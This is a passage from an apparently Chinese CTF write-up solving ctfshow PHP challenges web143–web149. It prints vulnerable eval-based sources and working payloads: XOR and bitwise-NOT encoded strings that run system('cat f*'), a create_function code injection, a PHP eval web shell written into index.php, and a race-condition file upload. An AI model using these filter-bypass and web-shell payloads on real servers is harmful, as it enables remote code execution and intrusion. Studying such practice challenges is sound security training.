的时候,异或为正常的linux语句,所以由于其有5个,所以要乘于5个%80
以确保都被异或成功,前者同理。
?v1=1&v2=1&v3=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)*
与web141一样,数字与函数进行运算也是可以执行函数的,所以在本题中无论是用*
还是^
,最终都能从源码中找到flag
web144
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
描述上说是web143的plus
版本,相较于web143
增添了一个check
函数,用来判断传入的$v3
,运用了一个三目运算符
if strlen($v3) === 1:
return true
else:
return false
即判断传入的v3的字符长度必须是1,
,这里可以构造
v1=1&v3=2&v2=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA);
从而拿到flag
web145
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
此题描述为web144的plus版本
,通过fuzz脚本,我们可以看到此题我们还能用到哪些字符
'(),:=?[\]`{|~
此时~
还没有被过滤,本题的考点在于对三目运算符的巧用。可以构造payload
v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):
或者可以利用|()|
的方式来构造payload
v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
web146
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
套娃了,这题的描述是web145的plus版本
,可用的字符为
'(),=?[\]`{|~
分号被过滤了,这题用不了三目运算符,不过发现上题第二种方法还是能够拿到flag
v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
看佬博客还有一种构造方法,是利用等号和位运算符
v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)||
web147
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
通过fuzz脚本,我们可以看到$ctfshow
只能用如下的字符
!"#$%&'()*+,-./:;<=>?@[\]^`{|}~
本题不会,看网上佬写的wp,本题的考点是create_function函数注入,利用create_function进行代码注入,需要用到}
闭合原来的函数,然后再执行新的命令,并且通过注释来将多余的}
,在php中,默认存放的位置在\
。所有原生的类和方法都在这个命令空间。所以我们可以通过为ctf
传参来调用create_function
函数,然后再通过GET
传参show
进行执行命令。
GET: ?show=}system("cat f*");//
POST: ctf=\create_function
成功拿到flag
web148
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
只有当我们输入以下字符时不会触发die函数
!"#$()/;<=>?[\]^`{}
可以发现我们可以进行异或来实现代码,所以我们可以构造
code=("%80%80%80%80%80%80"^"%F3%F9%F3%F4%E5%ED")("%80%80%80%80%80"^"%E3%E1%F4%A0%AA");
拿到flag
web149
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
本题描述**”你写的快还是我删的快”**运用到一个unlink函数
unlink
(PHP 4, PHP 5, PHP 7)
unlink — 删除文件
说明
unlink ( string `$filename` [, resource `$context` ] ) : bool
删除 `filename`。和 Unix C 的 unlink() 函数相似。 发生错误时会产生一个 `E_WARNING` 级别的错误。
参数
- `filename`
文件的路径。
- `context`
Note: 在 PHP 5.0.0 中增加了对上下文(Context)的支持。有关上下文(Context)的说明参见 [Streams](php/book.stream.html)。
返回值
成功时返回 `TRUE`, 或者在失败时返回 `FALSE`。
最直接的一个方法就是,你不删除index.php
,那就依从你呗,不过我要在该文件里面写🐎,你也会依从我吧,所以我们可以构造payload
GET: ctf=index.php
POST: show=<?php @eval($_POST['shell']);?>
其次就是本题的一个考点了,条件竞争漏洞
,payload的构造
GET: ctf=1.php
POST: <?php system('ls /');?>
放在BP测试器里面进行没有负载无限制重复
,我没有搞成功,不过看网上有的佬写的wp是试成功了。